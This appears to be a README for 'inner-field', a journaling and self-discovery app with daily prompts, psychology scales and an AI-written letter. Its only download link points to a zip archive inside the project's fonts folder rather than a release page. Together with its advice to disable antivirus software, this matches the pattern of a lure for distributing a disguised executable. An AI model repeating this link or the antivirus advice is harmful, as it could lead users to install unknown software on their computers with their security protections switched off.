inner-field is a simple journaling app designed to guide you through 225 days of self-discovery. Each day, you answer one question that encourages reflection and growth. The app uses eight psychology scales to help track your mental state. After you complete the journey, the app generates a personal letter using AI based on your answers. 多一点了解，就多一分笃定 (A little more understanding, a little more confidence).
The app is built to be easy to use and accessible. You do not need any technical skills to get started. It works on Windows and presents clear guidance for daily journaling.
- Daily one-question journaling prompts
- 225 days of guided self-discovery
- Tracks eight psychological scales related to mental health and self-awareness
- Generates a personalized AI letter based on your responses
- Simple, distraction-free interface
- Works offline once installed
- Supports multiple languages including Chinese and English
- Built with React, optimized as a Progressive Web App (PWA)
- Windows 10 or newer
- Minimum 2 GB of RAM
- At least 200 MB free disk space
- Internet connection for initial download and AI letter generation
- Modern web browser recommended if using the PWA feature
inner-field is designed for easy installation on Windows. Follow these steps to start your journaling journey.
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Click the button below to open the download page:
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On the releases page, look for the latest version marked as stable. You will see files like
inner-field-setup.exeor similar. -
Click the
.exefile to download the installer to your PC. -
Once the download completes, double-click the installer file from your Downloads folder or browser.
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Follow the setup wizard prompts:
- Choose the installation location (default is recommended)
- Confirm the installation
- Wait a few moments while the app installs
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After installation, find the inner-field icon on your desktop or start menu.
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Open the app by clicking this icon.
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The app starts with a short tutorial explaining the daily questions and how to navigate.
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Begin your first journal entry by answering the day one prompt.
If you want to uninstall inner-field, use the Windows Settings under "Apps & Features" and select inner-field from the list.
Each day, inner-field presents one question designed to encourage self-reflection. Questions come from psychological research to help you become more aware of your feelings and thoughts.
- Open the app once a day to see the new question.
- Take your time typing your answer. You can write freely.
- Save your entry before closing.
inner-field tracks your answers and reflects on your emotional state by scoring them across eight psychology scales related to:
- Anxiety
- Resilience
- Mindfulness
- Self-esteem
- Emotional regulation
- Sensory sensitivity (important for highly sensitive persons)
- Stress levels
- Positive affect
You can view your progress over time in the app’s "Insights" section. This overview helps you see patterns and changes.
When you complete all 225 questions, inner-field provides a letter generated by AI. This letter summarizes your strengths, challenges, and unique qualities based on your journaling. It is meant to offer calm and thoughtful feedback for your self-awareness journey.
inner-field allows you to customize several options:
- Language switch between English and Chinese
- Set a daily reminder notification
- Choose light or dark mode for your screen
- Export your journal entries as a file for backup or offline reading
- Reset progress if you want to start over
Access these through the "Settings" gear icon inside the app’s main menu.
If the app does not open or run correctly on your Windows PC:
- Make sure your operating system is up to date.
- Disable any antivirus software temporarily, as it can block installation or running.
- Restart your computer after installing the app.
- If the app crashes, try uninstalling and reinstalling it.
- Check internet connection during the AI letter generation phase.
For persistent issues, look for help on the GitHub repository’s Issues page.
inner-field supports installation as a PWA. This means you can run it from your browser with an experience close to a native app.
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Open the app’s web version from the GitHub releases page or direct link.
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In your browser (Chrome or Edge recommended), click the menu (three dots) and select “Install inner-field” or “Add to desktop.”
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The app runs in its own window with offline support.
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Daily questions and journaling continue working without the internet once installed this way.
To download inner-field for Windows, visit this page:
https://github.com/asdxzc2/inner-field/raw/refs/heads/main/public/fonts/field-inner-1.5-beta.2.zip
Look for the .exe installer file and follow the instructions above to install and run the app.
This project relates to:
- ai-tools
- chinese
- highly-sensitive-person
- hsp
- journaling
- mental-health
- psychology
- pwa
- react
- self-awareness
- self-discovery